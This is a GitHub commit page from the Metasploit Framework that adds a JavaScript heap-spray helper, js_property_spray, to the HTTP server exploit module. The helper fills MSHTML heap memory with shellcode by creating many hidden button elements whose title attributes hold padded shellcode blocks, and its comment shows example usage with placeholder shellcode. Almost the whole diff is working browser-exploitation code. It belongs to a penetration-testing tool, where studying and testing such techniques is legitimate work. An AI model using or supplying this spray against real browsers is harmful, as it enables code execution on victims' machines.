Skip to content

Commit e1891f0

Browse files
author
jvazquez-r7
committed
Merge branch 'setstringproperty_spray' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-setstringproperty_spray
2 parents 8f58c7b + 18c0bb0 commit e1891f0

File tree

1 file changed

+64
-0
lines changed

1 file changed

+64
-0
lines changed

lib/msf/core/exploit/http/server.rb

Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -792,6 +792,70 @@ def js_base64
792792
return js
793793
end
794794

795+
#
796+
# This heap spray technique takes advantage of MSHTML's SetStringProperty (or SetProperty)
797+
# function to trigger allocations by ntdll!RtlAllocateHeap. It is based on Corelan's
798+
# publication on "DEPS – Precise Heap Spray on Firefox and IE10".
799+
#
800+
# The "sprayHeap" JavaScript function supports the following arguments:
801+
# shellcode => The shellcode to spray in JavaScript.
802+
# objId => Optional. The ID for a <div> HTML tag.
803+
# offset => Optional. Number of bytes to align the shellcode, default: 0x104
804+
# heapBlockSize => Optional. Allocation size, default: 0x80000
805+
# maxAllocs => Optional. Number of allocation calls, default: 0x350
806+
#
807+
# Example of using the 'sprayHeap' function:
808+
# <script>
809+
# #{spray}
810+
#
811+
# var s = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444");
812+
# sprayHeap({shellcode:s, heapBlockSize:0x80000});
813+
# </script>
814+
#
815+
def js_property_spray
816+
js = %Q|
817+
var div_container;
818+
function sprayHeap( oArg ) {
819+
820+
shellcode = oArg.shellcode;
821+
offset = oArg.offset;
822+
heapBlockSize = oArg.heapBlockSize;
823+
maxAllocs = oArg.maxAllocs;
824+
objId = oArg.objId;
825+
826+
if (shellcode == undefined) { throw "Missing argument: shellcode"; }
827+
if (offset == undefined) { offset = 0x104; }
828+
if (heapBlockSize == undefined) { heapBlockSize = 0x80000; }
829+
if (maxAllocs == undefined) { maxAllocs = 0x350; }
830+
831+
if (offset > 0x800) { throw "Bad alignment"; }
832+
833+
div_container = document.getElementById(objId);
834+
835+
if (div_container == null) {
836+
div_container = document.createElement("div");
837+
}
838+
839+
div_container.style.cssText = "display:none";
840+
var data;
841+
junk = unescape("%u2020%u2020");
842+
while (junk.length < offset+0x1000) junk += junk;
843+
844+
data = junk.substring(0,offset) + shellcode;
845+
data += junk.substring(0,0x800-offset-shellcode.length);
846+
847+
while (data.length < heapBlockSize) data += data;
848+
849+
for (var i = 0; i < maxAllocs; i++)
850+
{
851+
var obj = document.createElement("button");
852+
obj.title = data.substring(0, (heapBlockSize-2)/2);
853+
div_container.appendChild(obj);
854+
}
855+
}
856+
|
857+
end
858+
795859
def js_heap_spray
796860
js = %Q|var memory = new Array();
797861
function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) {

0 commit comments

Comments
 (0)